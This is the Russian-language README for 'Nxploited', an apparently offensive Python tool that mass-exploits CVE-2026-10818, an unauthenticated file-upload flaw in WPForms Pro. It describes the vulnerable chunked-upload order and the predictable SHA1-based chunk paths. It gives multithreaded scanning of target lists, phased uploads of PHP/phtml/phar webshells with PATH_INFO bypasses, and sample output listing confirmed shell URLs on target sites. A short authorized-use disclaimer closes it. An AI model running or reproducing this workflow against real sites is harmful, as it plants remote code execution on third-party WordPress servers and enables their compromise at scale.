
WPForms Pro <= 1.10.1.1 - Неавторизованная произвольная запись файла через порядок инициализации/завершения Chunked Upload
WPForms Pro <= 1.10.1.1 — Неаутентифицированная произвольная запись файла через порядок инициализации/финализации чанковой загрузки
Эксплойт PoC
Порядок инициализации/финализации чанковой загрузки → Предсказуемый путь → Удаленное выполнение кода
| Поле | Описание |
|---|---|
| CVE ID | CVE-2026-10818 |
| Уязвимый плагин | WPForms Pro (WordPress) |
| Уязвимые версии | Все версии до 1.10.1.1 включительно |
| Тип | Неаутентифицированная произвольная запись файла |
| CWE | CWE-434: Неограниченная загрузка файла опасного типа |
| CVSS 3.1 | 8.1 ВЫСОКИЙ — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Не требуется |
Плагин WPForms Pro для WordPress уязвим к произвольной загрузке файлов во всех версиях до 1.10.1.1 включительно через функцию ajax_chunk_upload_finalize. Это связано с тем, что проверка типа файла происходит после того, как метаданные чанка и содержимое файла уже записаны на диск, а собранный файл не удаляется при неудачной проверке. Это позволяет неаутентифицированным атакующим загружать файлы, которые могут быть исполняемыми, что делает возможным удаленное выполнение кода.
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
Цепочка уязвимости использует критическую ошибку в порядке выполнения операций жизненного цикла чанковой загрузки:
SHA1(UUID)-0.chunk)wp_ajax_nopriv_*)readme.txt и HTML-исходник для выявления уязвимых версий WPFormswpforms_upload_chunk_init доступен извне перед началом работыSHA1(UUID)SHA1(контролируемый клиентом UUID) для получения точного URL чанка без угадывания/wpforms/tmp/ до и после загрузки исполняемых файлов для идентификации новых файлов<32hex>.<ext>.chunk/x.php, /.php), чтобы вызвать выполнение PHP на расширениях, не являющихся PHPPython >= 3.8
pip install requests urllib3 beautifulsoup4
beautifulsoup4является опциональным, но рекомендуется для более надежного извлечения полей форм.
python CVE-2026-10818.py
Вам будет предложено ввести:
| Запрос | Описание | По умолчанию |
|---|---|---|
| Файл с целями | Путь к текстовому файлу, содержащему по одной цели в строке | list.txt |
| Потоки | Количество одновременных рабочих потоков (1–20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
По одному URL в строке. Поддерживаются http://, https://, домены без протокола, IP-адреса и установки в подкаталогах.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
В процессе сканирования каждая цель проходит через помеченные этапы:
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
Все результаты сохраняются в Nx_hit/:
| Файл | Содержимое |
|---|---|
Nx_shell.txt | Подтвержденное RCE — URL, метка и превью тела ответа |
Nx_vuln.txt | Подтвержденная произвольная запись файла без проверки выполнения |
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ COMPLETE 150 targets processed ┃
┃ ┃
┃ ● 3 shell ◐ 12 vuln ○ 85 skip ✗ 50 miss ┃
┃ ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
| Символ | Значение |
|---|---|
● shell | Выполнение PHP подтверждено на удаленной цели |
◐ vuln | Файл записан на диск, выполнение не подтверждено |
○ skip | Цель недоступна, исправлена или не найдена форма загрузки |
✗ miss | Попытки загрузки не удались |
Target
│
├─ Reachability (HTTPS → HTTP fallback)
├─ WPForms Version Detection
├─ Form Discovery (100+ page paths + sitemap crawl)
├─ AJAX Route Validation
│
├─ Phase 1: Safe Uploads (png/jpg/pdf + finalize → URL)
│ └─ Shell verification on returned URLs
│
├─ Phase 2: Directory Snapshot (BEFORE)
│
├─ Phase 3: Exec Uploads (php/phtml/php5/phar/shtml + finalize)
│ ├─ Leaked filename extraction from response
│ └─ Hash pattern extraction from body + headers
│
├─ Phase 4: Directory Snapshot (AFTER) → Diff → New exec files
│ └─ Shell verification on each new file
│
├─ Phase 5: Hash Leak Verification
│ └─ Build URLs from leaked hashes → Shell check
│
├─ Phase 6: Chunk-Only Uploads (no finalize → predictable SHA1 path)
│ └─ Direct access + PATH_INFO bypass probing
│
└─ Result Classification (shell / vuln / skip / miss)
Этот инструмент предоставляется строго для целей авторизованного тестирования безопасности и образовательных исследований. Используйте его только на системах, которые вам принадлежат или на тестирование которых вы имеете явное письменное разрешение.
Несанкционированный доступ к компьютерным системам является незаконным. Автор не несет ответственности за неправильное использование, ущерб или любые юридические последствия, возникшие в результате использования этого программного обеспечения.
Используя этот инструмент, вы соглашаетесь, что несете полную ответственность за свои действия и будете соблюдать все применимые законы и нормативные акты.
Автор: Nxploited
Khaled Alenazi
T.m @Kxploit